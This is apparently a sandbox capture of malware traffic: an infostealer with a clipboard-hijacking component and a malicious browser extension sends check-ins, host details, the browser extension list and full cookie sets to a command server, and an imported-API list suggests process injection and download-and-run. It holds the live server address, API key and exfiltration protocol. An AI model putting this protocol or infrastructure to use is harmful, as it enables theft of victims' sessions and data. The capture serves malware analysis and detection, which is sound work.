20:55:22 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/agent/tasks/205795/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload::==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:25 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:26 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:33 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:40 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:47 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:54 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:56:03 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:56:11 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:56:20 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:56:31 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:56:48 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:57:20 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:58:01 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/ext/extensions HTTP/1.1 Host: 87.120.104.147:8080 Connection: keep-alive Content-Length: 239 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Content-Type: application/json X-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 Accept: */* Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9" with payload::==> "{"extensions":[{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","ext_id":"ghbmnnjooekpmoecnnnilnnbdlolhkhi","name":"Google Docs Offline","version":"1.100.1","enabled":false,"type":"extension"}]}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:59:21 GMT Content-Length: 11 with response body ==>7B227361766564223A317D....... "POST /api/v1/ext/ping HTTP/1.1 Host: 87.120.104.147:8080 Connection: keep-alive Content-Length: 326 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Content-Type: application/json X-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 Accept: */* Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9" with payload::==> "{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","language":"en-US","screen":"","timezone":"America/Los_Angeles","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0","fingerprint":"","tabs":[]}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:59:21 GMT Content-Length: 64 with response body ==>7B22626F745F6964223A353337322C22636F6D6D616E6473223A5B5D2C22696E6A65637473223A5B5D2C226F6B223A747275652C2273706F6F6673223A5B5D7D....... "POST /api/v1/ext/cookies HTTP/1.1 Host: 87.120.104.147:8080 Connection: keep-alive Content-Length: 5673 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Content-Type: application/json X-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 Accept: */* Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9" with payload::==> "{"cookies":[{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"USRLOC","value":"","path":"/","secure":true,"http_only":true,"expires":"2027-03-08T13:51:22.934Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"_EDGE_V","value":"1","path":"/","secure":false,"http_only":true,"expires":"2027-02-26T13:45:34.162Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".scorecardresearch.com","name":"UID","value":"19B036614bfc28593f35fa41769953535","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:35.302Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"www.microsoft.com","name":"MicrosoftApplicationsTelemetryDeviceId","value":"caf5348f-a291-4454-8cca-b54628dce2cb","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:45:46.485Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".clarity.ms","name":"MUID","value":"3598F0AED5F46E993512E65DD1F46079","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:47.027Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".microsoft.com","name":"_uetvid","value":"4fc4ece0ff7411f0aa9cd9a4b2358cdb","path":"/","secure":false,"http_only":false,"expires":"2027-02-26T13:45:46.000Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".c.bing.com","name":"SRM_B","value":"3598F0AED5F46E993512E65DD1F46079","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:46.897Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"www.clarity.ms","name":"CLID","value":"bcd64e9f04b24a358bd120a2fafd1f69.20260201.20270201","path":"/","secure":true,"http_only":true,"expires":"2027-02-01T13:45:47.060Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".microsoft.com","name":"_clck","value":"1jik8pc%5E2%5Eg37%5E1%5E2223","path":"/","secure":false,"http_only":false,"expires":"2027-02-01T13:45:47.000Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".bing.com","name":"MUID","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:47.317Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".microsoft.com","name":"MC1","value":"GUID=1f0d2d8726514c9d973d49400b3b6479&HASH=1f0d&LV=202602&V=4&LU=1769953547959","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:45:48.196Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"ntp.msn.com","name":"MUIDB","value":"32DFF8A43A9F6A9B15B5EE573B1A6B37","path":"/","secure":false,"http_only":true,"expires":"2027-02-26T13:47:16.728Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"ntp.msn.com","name":"MicrosoftApplicationsTelemetryDeviceId","value":"1dbd7fae-3978-445b-bb7c-c9cad2404796","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:51:23.490Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".c.bing.com","name":"SRM_M","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:51:24.617Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"MUIDB","value":"32DFF8A43A9F6A9B15B5EE573B1A6B37","path":"/","secure":true,"http_only":true,"expires":"2027-02-26T13:47:18.140Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".c.msn.com","name":"SRM_M","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:51:23.674Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".linkedin.com","name":"bcookie","value":"\"v=2&1391f723-91e0-4064-8cb8-08df8de6ce67\"","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:47:19.413Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"srtb.msn.com","name":"sptmarket","value":"en-us||us|en-us|en-us|en||reason=RevIP:us|cf=9|RefA=BFBF717AE10043B9AD1EADE070116A7B.RefC=2026-02-01T13:47:18Z","path":"/","secure":false,"http_only":false,"expires":"2027-03-08T13:47:18.940Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"ntp.msn.com","name":"sptmarket","value":"en-US||us|en-us|en-us|en||cf=9|RefA=697f58fe315e45baa654726456405d8d.RefC=2026-02-01T13:45:34Z","path":"/","secure":false,"http_only":false,"expires":"2027-03-08T13:47:49.949Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".ntp.msn.com","name":"sptmarket_restored","value":"en-US||us|en-us|en-us|en||cf=9|RefA=697f58fe315e45baa654726456405d8d.RefC=2026-02-01T13:45:34Z","path":"/","secure":false,"http_only":false,"expires":"2027-02-01T13:47:51.000Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"MUID","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:51:23.674Z"}]}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:59:21 GMT Content-Length: 88 with response body ==>7B22626F745F6964223A223333424135453643464644454131373130324245413543413045443831393039394631393544443633323635413244353435344533.......69:T542,RegCreateKeyExW GetUserNameW LookupAccountNameW RegEnumKeyExW RegOpenKeyExW OpenProcessToken RegCloseKey ReadProcessMemory GetSystemInfo LoadLibraryW GetTempPathW CreateProcessW GetStartupInfoW OutputDebugStringW GetFileAttributesA FindNextFileW GetDriveTypeW Sleep GetProcAddress GetCommandLineW FindFirstFileExW CopyFileExW WriteProcessMemory CreateDirectoryW FindFirstFileExA DeviceIoControl OpenProcess GetModuleFileNameW LoadLibraryA LoadLibraryExW LoadLibraryExA CreateFileMappingW GetComputerNameExW GetTempPathA GetModuleHandleExW CreateFileA TerminateProcess SleepEx UnhandledExceptionFilter GetComputerNameW MapViewOfFile GetModuleHandleA OutputDebugStringA WriteFile GetModuleFileNameA CreateThread GetFileSize WriteFileEx ExitThread CreateFileW DeleteFileW DeleteFileA GetCommandLineA FindNextFileA IsDebuggerPresent VirtualAllocEx CreateRemoteThread GetModuleHandleW GetFileAttributesExW GetTickCount GetFileAttributesW GetSystemDirectoryW NtQueryInformationProcess GetModuleFileNameExW bind recv closesocket send connect WSASend WSASocketW WSAStartup VirtualProtect GetClipboardData SleepConditionVariableSRW GetFileSizeEx CopyFileW GetStartupInfoA ShellExecuteW InternetReadFile InternetOpenUrlW InternetOpenW InternetCloseHandle URLDownloadToFileW6a:T23b6,"POST /api/v1/checkin HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 507 accept: */* host: 87.120.104.147:8080" with payload:==> "{"hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS","os":"Windows","os_version":"10 (16299)","os_build":"16299","os_arch":"x86_64","cpu":"Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz","cpu_cores":8,"ram_gb":7,"gpu":"","disk_gb":100,"timezone":"Pacific Standard Time","language":"en-US","screen":"1280x1024","mac_address":"00-50-56-91-BF-AA","is_admin":true,"antivirus":"Windows Defender","browsers":["Edge","Chrome"],"tag":"chrome"}" "POST /api/v1/agent/tasks/205792/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload:==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" "POST /api/v1/clipper/checkin HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload:==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload:==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" "POST /api/v1/agent/tasks/205793/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload:==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" "POST /api/v1/agent/tasks/205794/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload:==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" "POST /api/v1/agent/tasks/205795/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload:==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" "POST /api/v1/ext/cookies HTTP/1.1 Host: 87.120.104.147:8080 Connection: keep-alive Content-Length: 5673 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Content-Type: application/json X-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 Accept: */* Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9" with payload:==> "{"cookies":[{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"USRLOC","value":"","path":"/","secure":true,"http_only":true,"expires":"2027-03-08T13:51:22.934Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"_EDGE_V","value":"1","path":"/","secure":false,"http_only":true,"expires":"2027-02-26T13:45:34.162Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".scorecardresearch.com","name":"UID","value":"19B036614bfc28593f35fa41769953535","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:35.302Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"www.microsoft.com","name":"MicrosoftApplicationsTelemetryDeviceId","value":"caf5348f-a291-4454-8cca-b54628dce2cb","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:45:46.485Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".clarity.ms","name":"MUID","value":"3598F0AED5F46E993512E65DD1F46079","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:47.027Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".microsoft.com","name":"_uetvid","value":"4fc4ece0ff7411f0aa9cd9a4b2358cdb","path":"/","secure":false,"http_only":false,"expires":"2027-02-26T13:45:46.000Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".c.bing.com","name":"SRM_B","value":"3598F0AED5F46E993512E65DD1F46079","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:46.897Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"www.clarity.ms","name":"CLID","value":"bcd64e9f04b24a358bd120a2fafd1f69.20260201.20270201","path":"/","secure":true,"http_only":true,"expires":"2027-02-01T13:45:47.060Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".microsoft.com","name":"_clck","value":"1jik8pc%5E2%5Eg37%5E1%5E2223","path":"/","secure":false,"http_only":false,"expires":"2027-02-01T13:45:47.000Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".bing.com","name":"MUID","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:45:47.317Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".microsoft.com","name":"MC1","value":"GUID=1f0d2d8726514c9d973d49400b3b6479&HASH=1f0d&LV=202602&V=4&LU=1769953547959","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:45:48.196Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"ntp.msn.com","name":"MUIDB","value":"32DFF8A43A9F6A9B15B5EE573B1A6B37","path":"/","secure":false,"http_only":true,"expires":"2027-02-26T13:47:16.728Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"ntp.msn.com","name":"MicrosoftApplicationsTelemetryDeviceId","value":"1dbd7fae-3978-445b-bb7c-c9cad2404796","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:51:23.490Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".c.bing.com","name":"SRM_M","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:51:24.617Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name"